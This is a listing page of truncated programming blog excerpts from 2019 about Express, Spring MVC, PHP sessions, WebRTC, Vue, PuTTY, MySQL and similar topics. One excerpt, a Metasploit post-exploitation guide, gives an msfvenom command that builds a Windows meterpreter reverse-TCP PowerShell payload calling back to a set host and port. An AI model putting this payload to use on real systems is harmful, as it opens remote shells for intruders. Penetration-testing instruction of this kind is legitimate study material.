express is easy to use

Introducing express npm install express --save express-generator This is a generator to generate express, through which we can quickly build an express architecture without having to build a tedious one. npn install express-generator -g Note: - g means global installation, if not global installat ...

Posted by onyx on Sun, 11 Aug 2019 06:44:27 -0700

Master the use of @RequestAttribute and @SessionAttribute from the principle level [Learn Spring MVC together]

Every sentence To change us, we must change the essence and remove the dross. Otherwise, wood makes sense. Preface If there are very few people who know the @SessionAttributes annotation, then without statistics, I can be sure that even fewer people know the @RequestAttribute annotation. I think there are two main reasons: @ Request Attribute ...

Posted by resting on Thu, 08 Aug 2019 08:19:03 -0700

PHP Basic Knowledge 6-COOKIE and SESSION

HTTP protocol features: Stateless, no correlation between multiple requests That is, the same user requests different pages of the same website, the server can not identify whether the request is initiated by the same user. Therefore, users cannot perform continuous business logic. For example: lo ...

Posted by danoli3 on Thu, 08 Aug 2019 06:27:30 -0700

Deep understanding of WebRTC

Web Real-Time Communication (WebRTC) consists of a set of standards, protocols, and JavaScript API s for audio, video, and data sharing between browsers (end-to-end). WebRTC makes real-time communication a standard feature, and no Web application needs third-party plug-ins and proprietary software, but can be accomplished through a simple Java ...

Posted by thomasanup on Tue, 06 Aug 2019 17:46:22 -0700

springboot integrates the original version of websocket

Articles Catalogue HTTP Disadvantages HTTP websocket distinction websocket principle Use scenarios springboot integrates websocket Environmental preparation Client Connection Join the team Wechat Public Number theme HTTP requests are used in one of the most widely developed protocols between us and ...

Posted by McJepp on Tue, 06 Aug 2019 02:24:09 -0700

One-stop package after msf gets shell

Links to the original text: https://xz.aliyun.com/t/2536#toc-16 generate ps Rebound script msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=192.168.1.123   lport=12345  -f  psh-reflection>/tmp/search.ps1 msf Monitoring re ...

Posted by mattfoster on Sat, 03 Aug 2019 03:10:09 -0700

Stata: Three Ways to Generate Unique Data Encoding

  Author: Hu Yuxiao (London School of Political Economy)   Stata Enjoyment Club: Know about | Brief book | Code cloud | CSDN   Source: Three Ways to Create Unique Identifiers (Francis, 2012) Lian Henghui Twitter Collection Stata Continuous Enjoyment Meeting Topics of Excellence || Wonderful Twitte ...

Posted by Locust on Fri, 02 Aug 2019 03:58:51 -0700

Vue Template Syntax

Vue Template Syntax interpolation instructions Filter Computing and listening attributes interpolation v-html instruction for output HTML code Values in HTML attributes should use the v-bind directive <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <script sr ...

Posted by commandonz on Thu, 01 Aug 2019 02:05:49 -0700

Instructions for putty use

I. Overview PuTTY is a Telnet, SSH, rlogin, pure TCP and serial interface connection software. Earlier versions only support Windows platforms, and in recent versions, Unix platforms have been supported and are intended to be ported to Mac OS X. In addition to the official version, many third-party gr ...

Posted by timgetback on Wed, 31 Jul 2019 19:01:46 -0700

MySql uses group by to report sql_mode=only_full_group_by

(This setup may not work, you can try mode 2) Reference resources: https://blog.csdn.net/liuyunshengsir/article/details/79525031 1. -- Query Global sql_mode,Remove ONLY_FULL_GROUP_BY select @@sql_mode; -- results of enforcement ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE, ...

Posted by Chris_78 on Tue, 30 Jul 2019 14:51:25 -0700